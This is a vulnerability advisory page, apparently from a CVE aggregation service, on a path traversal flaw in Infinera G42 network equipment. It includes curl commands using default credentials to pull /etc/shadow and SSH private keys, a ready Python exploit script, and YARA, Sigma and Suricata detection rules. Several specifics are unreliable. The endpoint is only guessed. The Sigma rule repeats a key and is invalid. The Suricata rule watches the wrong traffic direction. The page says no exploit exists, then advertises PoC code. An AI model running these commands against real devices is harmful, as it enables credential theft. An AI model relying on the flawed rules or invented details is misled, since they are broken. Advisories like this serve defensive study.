CVE-2025-27022
Executive Summary
CVE-2025-27022 is a path traversal vulnerability in the WebGUI HTTP endpoint of Infinera G42 network equipment running version R6.1.3. This flaw allows remote authenticated users to download arbitrary OS files readable by the httpd service user. The vulnerability stems from insufficient validation of user-supplied input, enabling directory traversal attacks. With a CVSS score of 7.5 (High), the primary impact is on confidentiality, as an attacker can exfiltrate sensitive system files, configuration data, and credentials. No public exploit code or patch is currently available, making this a high-priority issue for organizations using the affected hardware.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary embedded firmware on Infinera G42 hardware. Organizations should verify the integrity of their firmware images and monitor for any unauthorized file access.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is High due to the ease of exploitation (low complexity, no user interaction) and the potential for complete file system disclosure. An authenticated attacker can download sensitive files such as /etc/shadow, SSH keys, and configuration databases.
Deep Dive & Mechanics
The vulnerability exists in the WebGUI HTTP endpoint of Infinera G42 firmware version R6.1.3. The HTTP server fails to properly sanitize user-supplied path parameters, allowing directory traversal sequences (e.g., ../) to escape the intended web root directory.
Root Cause: The application does not validate or normalize file paths provided in HTTP requests. When an authenticated user sends a request to download a file, the server concatenates the user-supplied path with a base directory without checking for traversal sequences.
Attack Flow:
- An attacker authenticates to the WebGUI (e.g., via default or stolen credentials).
- The attacker crafts an HTTP GET request to a vulnerable endpoint, such as:
GET /download?file=../../../etc/passwd HTTP/1.1 - The server processes the request and returns the contents of
/etc/passwd(or any other readable file). - The attacker can then download sensitive system files, including configuration files, SSH private keys, and credential databases.
Affected Component: The httpd service running on the Infinera G42 device. The service runs with limited privileges, but can still read critical system files.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable Python-like pseudocode
def handle_download(request):
filename = request.GET['file']
# No validation of filename
filepath = "/var/www/downloads/" + filename
with open(filepath, 'rb') as f:
return f.read()
Patched Code (Conceptual):
# Patched Python-like pseudocode
import os
def handle_download(request):
filename = request.GET['file']
# Sanitize: remove path traversal sequences
safe_filename = os.path.basename(filename)
filepath = os.path.join("/var/www/downloads/", safe_filename)
# Ensure the resolved path is within the allowed directory
real_path = os.path.realpath(filepath)
allowed_dir = os.path.realpath("/var/www/downloads/")
if not real_path.startswith(allowed_dir):
return "Access denied", 403
with open(real_path, 'rb') as f:
return f.read()
The patched code uses os.path.basename() to strip directory components and then verifies that the resolved path is within the allowed directory using os.path.realpath().
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Infinera G42 device with firmware R6.1.3.
- Valid credentials for the WebGUI (e.g., admin/admin or obtained via phishing).
Exploitation Steps:
- Authenticate to the WebGUI at
https://<target-ip>/. - Identify the vulnerable download endpoint (e.g.,
/downloador/file). - Craft a request to traverse directories:
curl -k -u "admin:admin" "https://<target-ip>/download?file=../../../etc/shadow" - Download sensitive files:
curl -k -u "admin:admin" "https://<target-ip>/download?file=../../../etc/ssh/ssh_host_rsa_key" -o id_rsa - Use extracted credentials or keys for lateral movement.
Automated Script (Python):
import requests
import sys
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
file_to_get = sys.argv[4]
url = f"https://{target}/download?file=../../../{file_to_get}"
response = requests.get(url, auth=(username, password), verify=False)
print(response.text)
Blue Team
Detection:
- Monitor HTTP GET requests to
/downloador similar endpoints with suspicious path parameters (e.g.,../,%2e%2e%2f). - Alert on requests that attempt to access files outside the web root (e.g.,
/etc/passwd,/proc/self/environ).
Honeypot:
- Deploy a fake Infinera G42 instance and log all download requests.
- Use the following Suricata rule to detect path traversal attempts.
Mitigation:
- Immediately restrict network access to the WebGUI to trusted IPs only.
- Disable the download functionality if not required.
- Apply input validation and path normalization on the server side.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests containing
../or URL-encoded variants (%2e%2e%2f) in the query string. - Requests to
/download,/file, or similar endpoints with parameters likefile=,path=, ordir=. - Outbound connections from the Infinera device to external IPs (data exfiltration).
- HTTP GET requests containing
File System IOCs:
- Unauthorized access to
/etc/shadow,/etc/passwd,/etc/ssh/, or/var/log/files. - Modified access timestamps on sensitive files.
- Unauthorized access to
Log IOCs:
- Web server logs showing
200 OKresponses to path traversal requests. - Authentication logs showing successful logins from unusual IPs.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_27022_Path_Traversal {
meta:
description = "Detects path traversal attempts targeting Infinera G42 WebGUI"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-27022"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e/"
$sensitive1 = "/etc/passwd"
$sensitive2 = "/etc/shadow"
$sensitive3 = "/etc/ssh/"
condition:
any of ($traversal*) and any of ($sensitive*)
}
Sigma Rule
title: Infinera G42 Path Traversal Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts against Infinera G42 WebGUI
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e/'
cs-uri-query|contains:
- '/etc/passwd'
- '/etc/shadow'
- '/etc/ssh/'
condition: selection
falsepositives:
- Legitimate file downloads from allowed directories
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-27022 Infinera G42 Path Traversal Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"../"; http_uri;
content:"/etc/"; http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Network Access: Limit access to the WebGUI to trusted management IPs only using firewall rules.
- Disable Unnecessary Features: If the download functionality is not required, disable it via the device configuration.
- Apply Input Validation: Implement server-side validation to reject path traversal sequences (e.g.,
../,..\\, URL-encoded variants). - Use Web Application Firewall (WAF): Deploy a WAF with rules to block path traversal patterns.
Long-Term Fix:
- Vendor Patch: Contact Infinera support for a firmware update. Monitor Infinera's security advisory page for patches.
- Upgrade Firmware: Once a patched version is released (e.g., R6.1.4 or later), upgrade all affected devices.
- Code Review: If source code is available, implement path normalization using
os.path.realpath()and ensure the resolved path is within the allowed directory.
Workaround:
- If patching is not possible, consider replacing the device or isolating it from the network.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.